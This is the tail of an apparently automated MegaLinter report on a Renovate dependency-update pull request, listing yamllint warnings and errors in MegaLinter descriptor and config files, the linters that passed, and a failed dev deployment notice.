megalinter/descriptors/spell.megalinter-descriptor.yml 32ms (unchanged)
megalinter/descriptors/sql.megalinter-descriptor.yml 10ms (unchanged)
megalinter/descriptors/swift.megalinter-descriptor.yml 9ms (unchanged)
megalinter/descriptors/tekton.megalinter-descriptor.yml 4ms (unchanged)
megalinter/descriptors/terraform.megalinter-descriptor.yml 20ms (unchanged)
megalinter/descriptors/tsx.megalinter-descriptor.yml 6ms (unchanged)
megalinter/descriptors/typescript.megalinter-descriptor.yml 13ms (unchanged)
megalinter/descriptors/vbdotnet.megalinter-descriptor.yml 3ms (unchanged)
megalinter/descriptors/xml.megalinter-descriptor.yml 5ms (unchanged)
megalinter/descriptors/yaml.megalinter-descriptor.yml 11ms (unchanged)
server/docker-compose-dev.yml 5ms (unchanged)
server/docker-compose.yml 8ms (unchanged)
trivy-secret.yaml 1ms (unchanged)
zizmor.yml 5ms (unchanged)

(Truncated to last 5000 characters out of 12559)
⚠️ YAML / yamllint - 53 errors
.grype.yaml
  6:1       warning  missing document start "---"  (document-start)

mega-linter-runner/.eslintrc.yml
  11:9      warning  too few spaces inside empty braces  (braces)

mega-linter-runner/generators/mega-linter-custom-flavor/templates/megalinter-custom-flavor-builder.yml
  48:15     warning  too few spaces inside empty braces  (braces)

mega-linter-runner/generators/mega-linter-custom-flavor/templates/megalinter-custom-flavor.yml
  7:1       error    syntax error: could not find expected ':' (syntax)

mega-linter-runner/generators/mega-linter/templates/mega-linter.yml
  38:15     warning  too few spaces inside empty braces  (braces)
  69:11     error    syntax error: could not find expected ':' (syntax)

megalinter/descriptors/copypaste.megalinter-descriptor.yml
  19:301    warning  line too long (313 > 300 characters)  (line-length)
  25:301    warning  line too long (384 > 300 characters)  (line-length)

megalinter/descriptors/javascript.megalinter-descriptor.yml
  52:301    warning  line too long (475 > 300 characters)  (line-length)
  328:301   warning  line too long (307 > 300 characters)  (line-length)
  354:301   warning  line too long (315 > 300 characters)  (line-length)

megalinter/descriptors/json.megalinter-descriptor.yml
  112:301   warning  line too long (315 > 300 characters)  (line-length)

megalinter/descriptors/jsx.megalinter-descriptor.yml
  29:301    warning  line too long (475 > 300 characters)  (line-length)

megalinter/descriptors/perl.megalinter-descriptor.yml
  25:301    warning  line too long (310 > 300 characters)  (line-length)

megalinter/descriptors/php.megalinter-descriptor.yml
  200:301   warning  line too long (389 > 300 characters)  (line-length)
  214:301   warning  line too long (302 > 300 characters)  (line-length)

megalinter/descriptors/repository.megalinter-descriptor.yml
  27:301    warning  line too long (666 > 300 characters)  (line-length)
  193:301   warning  line too long (408 > 300 characters)  (line-length)
  299:301   warning  line too long (345 > 300 characters)  (line-length)
  537:301   warning  line too long (306 > 300 characters)  (line-length)
  616:301   warning  line too long (374 > 300 characters)  (line-length)
  701:301   warning  line too long (316 > 300 characters)  (line-length)
  1038:301  warning  line too long (1263 > 300 characters)  (line-length)
  1135:301  warning  line too long (879 > 300 characters)  (line-length)
  1149:301  warning  line too long (358 > 300 characters)  (line-length)
  1212:301  warning  line too long (346 > 300 characters)  (line-length)
  1219:301  warning  line too long (307 > 300 characters)  (line-length)

megalinter/descriptors/salesforce.megalinter-descriptor.yml
  54:301    warning  line too long (359 > 300 characters)  (line-length)
  158:301   warning  line too long (390 > 300 characters)  (line-length)
  170:301   warning  line too long (408 > 300 characters)  (line-length)
  174:301   warning  line too long (413 > 300 characters)  (line-length)

megalinter/descriptors/spell.megalinter-descriptor.yml
  181:301   warning  line too long (315 > 300 characters)  (line-length)

megalinter/descriptors/sql.megalinter-descriptor.yml
  27:301    warning  line too long (403 > 300 characters)  (line-length)

megalinter/descriptors/terraform.megalinter-descriptor.yml
  28:301    warning  line too long (330 > 300 characters)  (line-length)
  43:301    warning  line too long (330 > 300 characters)  (line-length)
  97:301    warning  line too long (346 > 300 characters)  (line-length)
  164:301   warning  line too long (328 > 300 characters)  (line-length)
  239:301   warning  line too long (307 > 300 characters)  (line-length)
  250:301   warning  line too long (386 > 300 characters)  (line-length)
  304:301   warning  line too long (302 > 300 characters)  (line-length)
  319:301   warning  line too long (334 > 300 characters)  (line-length)
  329:301   warning  line too long (525 > 300 characters)  (line-length)
  339:301   warning  line too long (315 > 300 characters)  (line-length)
  343:301   warning  line too long (436 > 300 characters)  (line-length)

megalinter/descriptors/tsx.megalinter-descriptor.yml
  29:301    warning  line too long (475 > 300 characters)  (line-length)

megalinter/descriptors/typescript.megalinter-descriptor.yml
  39:301    warning  line too long (475 > 300 characters)  (line-length)
  318:301   warning  line too long (314 > 300 characters)  (line-length)
  344:301   warning  line too long (315 > 300 characters)  (line-length)

megalinter/descriptors/yaml.megalinter-descriptor.yml
  38:301    warning  line too long (315 > 300 characters)  (line-length)

mkdocs.yml
  8:301     warning  line too long (590 > 300 characters)  (line-length)
  86:5      warning  wrong indentation: expected 6 but found 4  (indentation)
  100:5     warning  wrong indentation: expected 6 but found 4  (indentation)

zizmor.yml
  1:1       warning  missing document start "---"  (document-start)

✅ Linters with no issues

actionlint, bash-exec, betterleaks, black, checkov, cspell, flake8, git_diff, hadolint, isort, jscpd, jsonlint, markdown-table-formatter (10 fixes), mypy, npm-groovy-lint, pylint, ruff, secretlint, shellcheck, shfmt, spectral, syft, trivy-sbom, trufflehog, v8r, v8r, xmllint, zizmor

See detailed reports in MegaLinter artifacts

MegaLinter is provided by OX Security
Show us your support by starring ⭐ the repository

This branch had an error being deployed

1 failed deployment
dev — 2da10435 Deployed Oct 4, 2026 by renovate[bot] via MegaLinter #3258
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants